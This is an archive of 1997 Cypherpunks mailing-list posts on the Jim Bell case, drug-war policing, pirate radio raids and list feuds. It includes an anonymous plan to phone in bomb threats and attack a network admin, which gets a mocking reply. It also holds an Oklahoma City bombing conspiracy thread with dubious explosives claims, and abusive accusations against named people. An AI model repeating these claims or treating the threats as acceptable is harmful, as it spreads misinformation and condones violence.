CAMP (Campaign Against Marijuana Production)?
  I used to drink and get high with the CAMP crews in the heart of
the sickingly press-dubbed "Emerald Triangle." It was not considered
a 'state secret' that much of the purpose of this area of the War
on Drugs was to facilitate male-bonding and a spirit of cooperation
between federal, state and local law enfascistment agencies.
  The cammo-clad "volunteers" got to jump out of helicopters in the
middle of North-Western schoolyards armed with the latest in federal
weaponry and go play hardball with the children's hippie parents
who had a half-dozen pot plants up in the hills.

  The main purpose of the Campaign Against Marijuana Production
seemed to be to provide an opportunity for lower-level LEA agents
to get comfortable with the concept of shooting family dogs in
front of the citizen's children and confiscating TV's, chainsaws
and other personal possessions as "aids to illegal marijuana
production."

> >>>Sources with WA. State Emergency Management Services report that the WA.
> >>>State Patrol is now designated the LEAD co-ordinating agency for all
> >>>WAs. State police operations in the event of an emergency and in
> >>>co-ordinating these operations with elements of the National Guard and
> >>>US regular Army!

  Don't worry about it. They will undoubtedly only use a co-ordinated
front of assault teams against the 'bad' citizens, such as terrorists,
drug-dealers, pedophiles, tax-cheats, people who use insufficient
postage, left-handed people, and suspicious characters with last names
starting with the letters A through Z.

  In case you have trouble understanding what they are screaming, over
the sounds of your doors being kicked in and the roar of gunfire, it
is probably, "We're from the government, and we're here to *help* you!"

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 22 Nov 1997 14:25:09 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <1.5.4.32.19971122031642.006ac71c@pop.pipeline.com>
Message-ID: <v0310280cb09c1b3bec4b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:03 PM -0700 11/21/97, Greg Broiles wrote:
>I'm starting to favor the explanation which suggests that Jim will be
>testifying at the trial(s) or before grand juries in other matters - and
>that his sentencing is postponed to ensure his cooperation, and that the
>defense isn't squealing about the successive postponements because that's
>seen as more favorable than receiving a sentence of many, many months in
>the event of noncooperation. I'm reluctant to finger anyone as a "snitch"

This is what I fear, too.

I now regret any "help" I provided him in adding crypto and digital cash to
his plans. (When I first came into contact with him, he had utterly zero
knowledge of how crypto worked, and how it could ultimately be used. His
"wonderful idea" was cheesy, built on nothing but hot air. But once certain
ideas were explained to him, his system became actually workable, albeit
not actually extant.)

I expect an arrest of several of us, on typically trumped-up RICO-type
charges.  Mere speech has become criminalized, through vague, speculative,
conspiracy charges.

Fuck them.  If it's war they want...

Lock and load,

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 13:45:32 +0800
To: remailer@REPLAY.COM
Subject: Re: internet access monitored and censored
In-Reply-To: <7906d6c3d9cddf319c89ab0f3fe2805d@anon.efga.org>
Message-ID: <34766595.5B75@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: david.f@mailexcite.com

Anonymous wrote: 
> *** my email is david.f@mailexcite.com
> 
> Hi all
> please help me, this is the problem
> our network admin is monitoring our internet access for "bad sites" detection
> he is also blocking many of these sites
> he is also (again !) blocking ports 8000-9000 (for public http proxies) and 3128-3130 for public squid caches
> 
> i plan to send out a mountain of spam-baits using the network admin's
> return address as well as calling in bomb threats to my ISP's offices
> and possibly attacking the site physically
>
> please if you know a public proxy accessible under a port not in the blocked range,
> or if you know a proxy or a search engine with SSl enabled please email that to me
>
> *** really sorry for using a remailer, i cant access my mailexcite account cause he
> may sniff my password
> *** but i'm sure of one thing, he is not subscribed to this list ;-)
>
> i plan to make that asshole wish he was never born

David,
You should probably be using encryption to send messages of this sort.

TruthMonger (honest!)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 22 Nov 1997 12:23:00 +0800
To: cypherpunks@toad.com
Subject: Re: Alternative Apology
Message-ID: <4c629215684c4169e873ce69a68c218d@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



igor said:

>I am sorry for the recent interruption of the cypherpunks mailing list.
>The dog ate my computer. Then Joichi Ito ate my dog.
>
>Igor

Igor, Japanese dont eat dog, that is the Koreans and Vietnamese.

doormouse







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 11:51:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4985] State Department Advisory Group
Message-ID: <199711212203.XAA12360@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
> 
> I'm surprised they don't want a sperm sample, too.
> --- begin forwarded text
> To expedite admission for those of you wishing to attend, please provide
> your name, affiliation, address, telephone number, date of birth and social
> security number by close of business, Wednesday, December 10.

Joe Smith, Joe Smith Organization, 123 Joe Smith drive, Smithville, JS,
(JOE) JOE-SMITH, JO/ES/MITH, JOE-SMITH-JS, <squirt-squirt>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 22 Nov 1997 13:34:32 +0800
To: jya@pipeline.com (John Young)
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <1.5.4.32.19971122031642.006ac71c@pop.pipeline.com>
Message-ID: <199711220508.XAA12104@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Looks like Jim has been sentenced to 10 years without the right
to correspondence.

To those who do not understand the cultural connotations of this 
phrase, I will explain. During Stalin's purges around 1937, a lot of
people were arrested and nothing could be found out about them -- 
not even when they were held. Their relatives were later notified that
the prisoners were sentenced to 10 years without the right to
correspondence.

That was an euphemism for being executed.

I would not be surprized if Jim committed a "suicide". With the advance
of modern psychology and psychotropic drugs, that could even be a true
suicide, done without physical assistance of Jim's captors.

Or Jim might suddenly die of "heart attack".

In fact, I am willing to bet 40 cents against a dollar that Jim will
notg et out of jail alive.

igor

John Young wrote:
> 
> 
> Jim Bell was scheduled to be sentenced today at 9:30 AM.
> I called the court's ever-helpful administrative office 
> (1-253-593-6754) for a report and was told that sentencing 
> had been postponed until December 12, 10:30AM.
> 
> Other info:
> 
> Mail sent to Jim (not by me) since his request for books has 
> been returned twice that I know about
> 
> Books sent to Kitsap County jail, where he was first incarcerated,
> was returned marked "Not in Jail." 
> 
> After this an inquiry to the court was made about Jim's 
> location (not by me) and it was learned that he had been
> transferred to Federal Detention Center at SeaTac, WA.
> A letter sent there recently was returned unopened, marked 
> "Return to Writer."
> 
> The court docket today at 8:00PM does not list his relocation 
> nor the new sentencing date. However, entries usually appear
> a day or so after an action:
> 
>    http://jya.com/jimbell-dock3.htm
> 
> Perhaps one of our legal subscribers could comment on what's
> going on with these repeated delays in sentencing, especially
> whether it's common to do so after a plea agreement is reached.
> 
> Now, scuttlebutt: a person at a Seattle legal document service
> told me today that another case is coming up similar to Jim's
> that also alleges "intimidation of IRS officials." Whether that
> relates to delays in Jim's case is a mystery inside an enigma.
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 22 Nov 1997 13:33:01 +0800
To: cypherpunks@www.video-collage.com
Subject: Tampa Pirate Radio Stations Silenced
Message-ID: <199711220512.XAA12159@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



reuters






          Florida State News

          Reuters
          20-NOV-97

          (TAMPA) -- Federal marshals and local deputies have shut down
          three Tampa area ``pirate'' radio stations, silencing unlicensed
          sources of rock music and far-right ideology. Authorities carted
          off broadcast and studio equipment from all three stations and
          dismantled a rooftop antenna that stood over one broadcaster's
          home. One of the stations was operated by 53-year-old Arthur
          Kobres, who is named in a 14- count indictment alleging
          violations of national broadcasting laws.  Authorities say
          Kobres used his equipment to broadcast anti-government messages.

          Also silenced was ``Tampa's Party Pirate,'' a 100-watt F-M
          station run by Doug Brewer. A third operator who was shut
          down... 22-year-old Kelly Benjamin... was also arrested for
          possession of marijuana.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 13:34:13 +0800
To: cypherpunks@cyberpass.net
Subject: A Challenge to the Violent and Depraved / Re: [cpe:5035] Violence and Depravity
In-Reply-To: <199711201532.JAA17885@multi26.netcomi.com>
Message-ID: <34766B3C.4E43@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



If you have not read the following post, do so.
It reflects the view of everyone I have spoken to who has even
the remotest knowledge of explosives and demolition.

Regardless, I am getting sick and tired of hearing the whining
'theories' of the 'experts' in regard to the OKC bombing.

A Challenge: If every naysayer/conspiracy theorist whose diatribes
  I have read (a small percentage of the total number) would kick
  in a couple of bucks, then there would be funds available to
  build a truck-bomb corresponding to the alleged OKC bomb, and
  to recreate the alleged crime with an abandoned building that
  can be found to provide a similar physical target.
  We're talking about a few grand, here. Put up or shut up. Anyone
  who cares to take on the challenge can cover that on T-shirt
  sales alone.
  If the re-enactment shows the truck bomb to have been a provably
  false scenario, it would be interesting to see a second display
  with BATF actors putting explosive charges in the middle of the
  building. (And then we can crash a Mercedes into the underground
  concrete pillars in Paris, to guage the results.)

TruthMonger

Neva Remailer wrote:
> Monty Cantsin wrote:
> >Violence is, in nearly every case, a poor investment of time,
> >money, and energy.
> 
> I disagree.
> 
> The US Goverment and the mainstream media were both guilty
> of either ignorance or deliberate subreption during McVeigh's
> trial.  As a military trained explosive demolition instructor,
> I am compelled to concur with the absent testimony and published
> findings of a certain three star, to wit:
> It ain't necessarily so.
> 
> Anyone with even a cursory knowledge of explosives will tell you
> that two tons of ammonium nitrate, sixty feet from the base
> of a tall, reinforced concrete and steel building, will not do 
> very much more than break lots of windows.  You see, ammonium 
> nitrate is a low velocity explosive compound useful for moving 
> dirt.  A brissance, or shattering effect, on steel and/or 
> reinforced concrete requires an explosive compound with much 
> greater explosive velocity.... C-4, several types of commercial
> blasting gelatin, even TNT.
> 
> If you observed the news footage of the Murray Federal Building 
> after the blast, you may have noticed that the damage was 
> configured in a semi-cylindrical fashion, rather than the conic 
> section which would have resulted from a ground placed charge of 
> sufficient strength.  You might also have wondered about the 
> apparent lack of a crater at the site of the explosion...
> (The crater was mysteriously relocated to the basement of the 
> structure, probably by A Terrorist-Provocateur To Be Named Later...)
> 
> If you looked closely at the ruined building, you would have seen
> evidence of brissance on alternating bearing members on each floor.
> (I have photos of this)
> 
> Had detailed chemical analysis of the site been permitted, evidence 
> of a very large and elaborate line or ring main constructed of 
> detonation cord, of the RDX or PETN based military variety, likely, 
> would have been found.
> 
> Consider that the placement of the array of charges necessary to
> simultaneously shatter several dozen large bearing members in the
> building would have required several hours for a well trained
> demolition team, not to mention unlimited access to the building 
> after hours.
> 
> Seismographs recorded TWO impacts that day, several minutes apart.
> 
> Consider that if this action was meant to revenge or commemorate the 
> Waco massacre, it achieved the opposite goal.  However, if this was 
> the work of agents-provocateur, it worked beautifully.  Waco was 
> downplayed in the face of 'the threat of domestic terrorism.'  The 
> body count was higher, and this time it came from the 'self-styled 
> militia.'
> Also, if McVeigh really had followed the Turner Diaries recipe, he 
> would have put his bomb somewhere useful.  The book details the use 
> of a similar device to destroy a large government database, and the 
> truck bomb is parked underneath it
> in the basement parking structure, _not_ sixty feet away...
> 
> The reader's digest version:
> 
> 1)  McVeigh's bomb, as it was and where it was, was a squirt of 
> piss in a hurricane.
> 
> 2)  A well financed team of demolition professionals did the job.
> 
> 3)  The payoff from this "investment" was the impressive Anti-Terrorism 
> bill, much political mileage for the agency "targeted" by the attack, 
> and an option for more legislation in the crypto arena.
> 
> 4)  In a perfect world, McVeigh would have been prosecuted for 
> incompetence, and given a suspended sentence because he was, after 
> all, merely an infantry sergeant, not a demolition pro.  In the 
> same perfect world, Woodward and Bernstein types would follow up 
> on stuff like this instead of gulping down regurgitated propaganda 
> like so many infant birds.  Then perhaps the true terrorists would 
> be punished, and the political agenda of their employers exposed.
> 
> 5)  The convenient deaths of poor defenseless children(TM) contributed 
> mostly to the policy goals of the jackbooted thugs, not to those of 
> their detractors.
> 
> 6)  McVeigh pulled an Oswald.  Quit crediting him with success.
> 
> A Noncom To Be Named Later






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 13:52:55 +0800
To: cypherpunks@Algebra.COM
Subject: The Subliminal Algebra-Seinfield Conspiracy
Message-ID: <34766E12.4AF9@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Is it a mere coincidence that algebra.com went down and proceeded to
send out all received messages in reverse order on the _same_day_
that the Seinfield TV show featured a reverse-order-plot show?

Picking up a little corporate spare-change, Igor?

JerryMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 13:53:13 +0800
To: Igor Chudov <ichudov@Algebra.COM>
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <199711220508.XAA12104@manifold.algebra.com>
Message-ID: <347671F0.6BCE@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov @ home wrote:
> Looks like Jim has been sentenced to 10 years without the right
> to correspondence.
> 
> To those who do not understand the cultural connotations of this
> phrase, I will explain. During Stalin's purges around 1937...

Fucking wonderful...
As Robert Heidegger explains to us that everything is 'roses, roses'
and that predictions of 'doom and gloom' are ludicrous, Igor begins
emerging as the Chief CypherPunks SpokesPerson, based on his knowledge
of the Stalin era and its accompanying atrocities.

I *love* this prison camp!

TruthMonger

> a lot of
> people were arrested and nothing could be found out about them --
> not even when they were held. Their relatives were later notified that
> the prisoners were sentenced to 10 years without the right to
> correspondence.
> 
> That was an euphemism for being executed.
> 
> I would not be surprized if Jim committed a "suicide". With the advance
> of modern psychology and psychotropic drugs, that could even be a true
> suicide, done without physical assistance of Jim's captors.
> 
> Or Jim might suddenly die of "heart attack".
> 
> In fact, I am willing to bet 40 cents against a dollar that Jim will
> notg et out of jail alive.
> 
> igor
> 
> John Young wrote:
> >
> >
> > Jim Bell was scheduled to be sentenced today at 9:30 AM.
> > I called the court's ever-helpful administrative office
> > (1-253-593-6754) for a report and was told that sentencing
> > had been postponed until December 12, 10:30AM.
> >
> > Other info:
> >
> > Mail sent to Jim (not by me) since his request for books has
> > been returned twice that I know about
> >
> > Books sent to Kitsap County jail, where he was first incarcerated,
> > was returned marked "Not in Jail."
> >
> > After this an inquiry to the court was made about Jim's
> > location (not by me) and it was learned that he had been
> > transferred to Federal Detention Center at SeaTac, WA.
> > A letter sent there recently was returned unopened, marked
> > "Return to Writer."
> >
> > The court docket today at 8:00PM does not list his relocation
> > nor the new sentencing date. However, entries usually appear
> > a day or so after an action:
> >
> >    http://jya.com/jimbell-dock3.htm
> >
> > Perhaps one of our legal subscribers could comment on what's
> > going on with these repeated delays in sentencing, especially
> > whether it's common to do so after a plea agreement is reached.
> >
> > Now, scuttlebutt: a person at a Seattle legal document service
> > told me today that another case is coming up similar to Jim's
> > that also alleges "intimidation of IRS officials." Whether that
> > relates to delays in Jim's case is a mystery inside an enigma.
> >
> >
> 
>         - Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 11:52:06 +0800
To: cypherpunks@cyberpass.net
Subject: Further Costs of War
Message-ID: <199711212302.AAA19454@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

A few more comments on World War II.

Had World War II been prevented, along with deaths of 50 million or so
people, we would also have been spared (in the United States) income
tax withholding.  Previously the only people paying income tax were
fairly wealthy and there was no withholding.

I doubt very much that income tax withholding would have been accepted
if the War were not used to justify it.  ("You don't want to pay
taxes?  What are you, a traitor?")

Without income tax withholding, it would have been hard to get to the
point where we are now.  The U.S. Federal government consumes about
40% of the GDP.  When the resources aren't wasted outright, they are
used to perpetrate evil in the world.

To put this in perspective, multiply your income by 1.4.  For example,
if your income is $50,000, that would be another $20,000 you would
have every single year.  Where could you spend that money?

If you simply saved it at 3% a year, in 30 years you would have about
$950,000.  That's all for doing exactly what you do now.  Who needs
national health insurance?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 14:34:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:5043] Tampa Pirate Radio Stations Silenced
In-Reply-To: <199711220512.XAA12159@manifold.algebra.com>
Message-ID: <34767AFF.5D1C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov @ home wrote:
>           Reuters
>           20-NOV-97
> 
>           (TAMPA) -- Federal marshals and local deputies have shut down
>           three Tampa area ``pirate'' radio stations, silencing unlicensed
>           sources of rock music and far-right ideology. Authorities carted
>           off broadcast and studio equipment from all three stations and
>           dismantled a rooftop antenna that stood over one broadcaster's
>           home. One of the stations was operated by 53-year-old Arthur
>           Kobres, who is named in a 14- count indictment alleging
>           violations of national broadcasting laws.  Authorities say
>           Kobres used his equipment to broadcast anti-government messages.

If you will check the archives (God, I've been waiting for a chance to
say that!), you will find that several weeks ago (years ago, in 'dog
weeks') I posted some rambling nonsense which pointed out recent court
rulings in regard to a Berkeley (?) judge upholding the right of local
freelance (?) stations to operate outside of the unconstitutional iron
hand of the FCC, and pointed out the potential importance of the judge's
ruling in regard to future legal issues surrounding the InterNet.

I also pointed out that the government would undoubtedly call and raise
this judicial ruling by launching a variety of attacks on other small,
local broadcasters in an attempt to provide a wide legal base of
precedent for deeming them 'pirate' broadcasters, thus negating the
effect of a single, unbought judge who accidentally came across some
literature describing the Constitution and realized that everything
her political Puppet Masters told her was wrong.

Cheap Self-Promotional Plug:
  I have recently opened a Psychic Hotline at 1-800-Tru-Mong, which
costs $.02/min, and I am getting filthy rich predicting the future.
  I channel Tim May in order to predict future events, and channel
Robert Hettinga, Kent Crispin and Phillip Hallam-Baker to predict
future government disinformation campaigns.
  I channel Sigmund Freud and Carl Lewis in order to keep one step
ahead of the guys with the butterfly-net.

TruthMonger
Authorities say Kobres used his equipment to broadcast anti-government
messages.
Authorities say Kobres used his equipment to broadcast anti-government
messages.
Authorities say CypherPunks used their equipment to broadcast
anti-government messages.
Authorities say CypherPunks used their equipment to broadcast
anti-government messages.
Authorities say Chudov used his equipment to broadcast anti-government
messages.
Authorities say Choates used his equipment to broadcast anti-government
messages.
Authorities say Cottrel used his equipment to broadcast anti-government
messages.
Authorities say Young used his equipment to broadcast anti-government
messages.
Authorities say blanc used her equipment to broadcast anti-government
messages.
Authorities say amp used his equipment to broadcast anti-government
messages.
Authorities say Schear used his equipment to broadcast anti-government
messages.
Authorities say Burnes used his equipment to broadcast anti-government
messages.
Authorities say Ito used his equipment to broadcast anti-government
messages.
Authorities say Vulis used his equipment to broadcast anti-government
messages.
Authorities say Wienke used his equipment to broadcast anti-government
messages.
Authorities say Galt used his equipment to broadcast anti-government
messages.
...
Authorities say Kobres used his equipment to broadcast anti-government
messages.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 22 Nov 1997 14:48:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <1.5.4.32.19971122031642.006ac71c@pop.pipeline.com>
Message-ID: <199711220640.AAA05293@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:

> Jim Bell was scheduled to be sentenced today at 9:30 AM.
> I called the court's ever-helpful administrative office 
> (1-253-593-6754) for a report and was told that sentencing 
> had been postponed until December 12, 10:30AM.

[snip]

> After this an inquiry to the court was made about Jim's 
> location (not by me) and it was learned that he had been
> transferred to Federal Detention Center at SeaTac, WA.
> A letter sent there recently was returned unopened, marked 
> "Return to Writer."

I would think that with all the recent publicity about the IRS abusing
citizens, limited only by the agency's creativity and its ability to
select citizen-units preceived as unable to fight back, that we should be
able to spin the Jim Bell case in a way which further damages the public
image of the IRS.

After all, the IRS is hardly the agency charged with discovering alleged
plots to overthrow the government, and the fabrication of such a plot in
order to harrass and imprison a tax protester would seem to constitute
antics similar to those disclosed in recent Congressional hearings. 

Of course, it would be difficult to wash away all the FUD the government
has disseminated about the Bell case by now.  Still, I think sloshing the
IRS with a bit of the excrement they have been dispensing to the press
might not be a bad move.  Perhaps a noisy statement about the Bell case at
one of those public meetings the IRS has been commanded to hold to discuss
its past abuses might be a good place to start.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 22 Nov 1997 14:57:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Scientology war update
In-Reply-To: <aca0fceb47%Tim@tim01.ex.ac.uk>
Message-ID: <199711220650.AAA05318@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain




> Wired has a good article on how the war of words on
> alt.scientology.religion has split over into dawn raids and hardware
> seizures: 

There was a hilarious parody of Scientology on tonight's episode
of "Millenium."  A Cult named "Selfosophy," created by a really bad
writer named Onan Goopta, with a propensity to sue everyone, was
featured.  It had a large celebrity membership, and helped people
overcome negative thoughts with a device called an "Onan-o-Graph."

LOL!

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 11:23:23 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Factor a 2048-bit number
Message-ID: <199711220156.CAA13448@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Antonomasia wrote:
>The wording of the original challenge suggested there was a trick to
>this particular factorisation.

That is exactly right.  Hint 3 is more like an insight a puzzle solver
would have rather than that of a mathematician.  When you have this
insight you will know it.

If you want me to post Hint 3, just ask.  You'll have a good laugh if
you get it yourself, though.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 22 Nov 1997 16:28:21 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell's Sentencing Delayed Again
Message-ID: <469bc1f7a895dececa160ee875981ca5@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Greg Broiles wrote:
> 
> At 10:16 PM 11/21/97 -0500, John Young wrote:
> >Jim Bell was scheduled to be sentenced today at 9:30 AM.
> >[...]
> >Perhaps one of our legal subscribers could comment on what's
> >going on with these repeated delays in sentencing, especially
> >whether it's common to do so after a plea agreement is reached.

> It strikes me as peculiar/unusual

Everything about Bell's case has been peculiar/unusual.
- posts sent to the cypherpunks list _before_ the bust quoting news
  reports which were dated the following day.
- thinly veiled threatening messages directed to Bell/cypherpunks
  posted to the list mere hours before the bust.
- follow-up posts and threatening private emails regarding Bell's 
  case sent to the list and individual cypherpunks from the 
  treasury email system.
- two prominent lawyers having their calls to Bell's legal aide
  attorney after expressing an interest to help in his case.
- the 'usual suspects' advising list members to 'be afraid,' to
  'chill out,' shut up and lay low.

[...] 
> I'm starting to favor the explanation which suggests that Jim will be
> testifying at the trial(s) or before grand juries in other matters - and
> that his sentencing is postponed to ensure his cooperation, and that the
> defense isn't squealing about the successive postponements because that's
> seen as more favorable than receiving a sentence of many, many months in
> the event of noncooperation.

The events follow a classic pattern as described above.

> I'm reluctant to finger anyone as a "snitch"
> without knowing more - and this is all speculation - but something looks
> funny about what's happening thus far. (It's also possible that he's
> physically/mentally incapacitated such that he's not able to participate in
> his sentencing, which would explain why the court would be postponing on
> its own initiative, and why the defense isn't opposing the continuance.)

Incapacitation does not result in an information blackout surrounding
the dispensation of the case and a stonewalling of all attempts at
contact the defendant.

You can bet your sweet ass that Bell's volatile mental stability was
not lost on his captors, who would undoubtedly realize that it would
not take a great deal of prodding with the proper medications to put
him in the same frame of mind that allows police social workers to
convince small children that the mayor and the chief of police have
molested them in satanic rituals involving circus animals.
My guess is that he is currently ratting out each and every one of
us for imaginary crimes in return for LEA promises that Comet Hale-Bop
has been recalled in order to pick him up.

Be alarmed. Be very all-armed!

Loch N. Lode






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Sat, 22 Nov 1997 21:13:50 +0800
To: cypherpunks@ssz.com
Subject: good work
Message-ID: <199711221252.EAA16241@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Bob, Tim. You guys are doing great. i
think that the enemy is confused into
thinking that we are feckless juveniles
who are at each other's throats and are
posing no real threat. excellent. this
should give us those precious few extra
weeks needed to complete Plan A. also:
perhaps you two should get together and
re-work your contingency confessions.
wouldn't want some of your accusations
against one another to accidentally be
true! (use Bob's "Toto" nym. be careful
not to accidentally Cc: the cypherpunks
list!)


white team leader


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 13:52:05 +0800
To: cypherpunks@toad.com
Subject: The 4th Great Awakening
Message-ID: <199711220530.GAA05205@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Read "Speed" by William Burroughs.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Sat, 22 Nov 1997 15:22:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <1.5.4.32.19971122031642.006ac71c@pop.pipeline.com>
Message-ID: <348082ae.104506631@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 22 Nov 1997 00:54:42 -0600, Eric Cordian <emc@wire.insync.net> wrote:

>Of course, it would be difficult to wash away all the FUD the government
>has disseminated about the Bell case by now.  Still, I think sloshing the
>IRS with a bit of the excrement they have been dispensing to the press
>might not be a bad move.  Perhaps a noisy statement about the Bell case at
>one of those public meetings the IRS has been commanded to hold to discuss
>its past abuses might be a good place to start.

Radio talk shows may be a better place to start.

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Sun, 23 Nov 1997 00:31:28 +0800
To: mail2news@basement.replay.com
Subject: Re: I have something to say.
In-Reply-To: <64a7lm$48d@newspeer2.dearborn.agis.net>
Message-ID: <199711221554.HAA28711@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@nsm.htp.org wrote:

> On Thu, 20 Nov 1997 13:28:02 GMT gburnore+spam@netcom.com (Gary L.
> Burnore)  wrote:
>  
> >On 15 Nov 1997 04:21:40 -0800, rfg@monkeys.com (Ronald F. Guilmette) wrote:
> >    
> >: In article <64ajuv$r9@newspeer2.dearborn.agis.net>,
> >: Harold <harold@agis.net> wrote:
> >: >I am taking back the statement I made. Not everyone here is pathetic.
> >:   
> >: Gee!  That's mighty white of you.
> >
> >Again with the bigoted, racist remarks, eh?
>  
>        
> Poor sorry asshole netscum Gary L. Burnore, <gburnore@databasix> <gburnore@netcom.com>.
> Just can't get over making substantially less money than Ron.
> Why the hell don't you layoff Guilmette and get a fucking life for yourself.
> Haven't you done enough damage to him and anonymous remailers you fucking piece of shit.
>      
> <cue netscum gburnore lame response>

Yeah, but poor Ron doesn't have a criminal arrest record like Gary does, 
despite Gary Burnore's unproven accusations, "big lie" campaign, crank calls 
to the FBI, etc.  Gary's charges get more and more fanciful.  Did you read
the one where he accused Ron of abusing some "teenage girl" at DataBasix.
Not a shred of evidence for his lies, of course.  Fortunately for him,
Netcom harbors net abusers and Gary had to suddenly leave California for
North Carolina after his arrest in San Francisco.

And there's his faithful sidekick, Belinda Bryan <eridani@ix.netcom.com>, who's
now posting with this forged line in her headers:

> Organization: Boycott E-Scrub Technologies. The owner is an admitted spambaiter.

This is the same looney maroon netcop who whined when somebody started posting
a URL from the AIDS Action League advocating a boycott of Gary Burnore's
ex-employer, Wells Fargo Bank in San Francisco.  And then Gary has the
nerve to call someone "racist" and "bigoted"?

These two net abusers richly deserve their NetScum pages:

  http://www.spambusters.dyn.ml.org/www.netscum.net/burnorg0.html
  http://www.spambusters.dyn.ml.org/www.netscum.net/bryanb0.html

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 22 Nov 1997 22:12:48 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [cpe:5043] Tampa Pirate Radio Stations Silenced (fwd)
Message-ID: <199711221411.IAA01646@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 22 Nov 1997 00:26:07 -0600
> From: TruthMonger <tm@dev.null>
> Subject: Re: [cpe:5043] Tampa Pirate Radio Stations Silenced

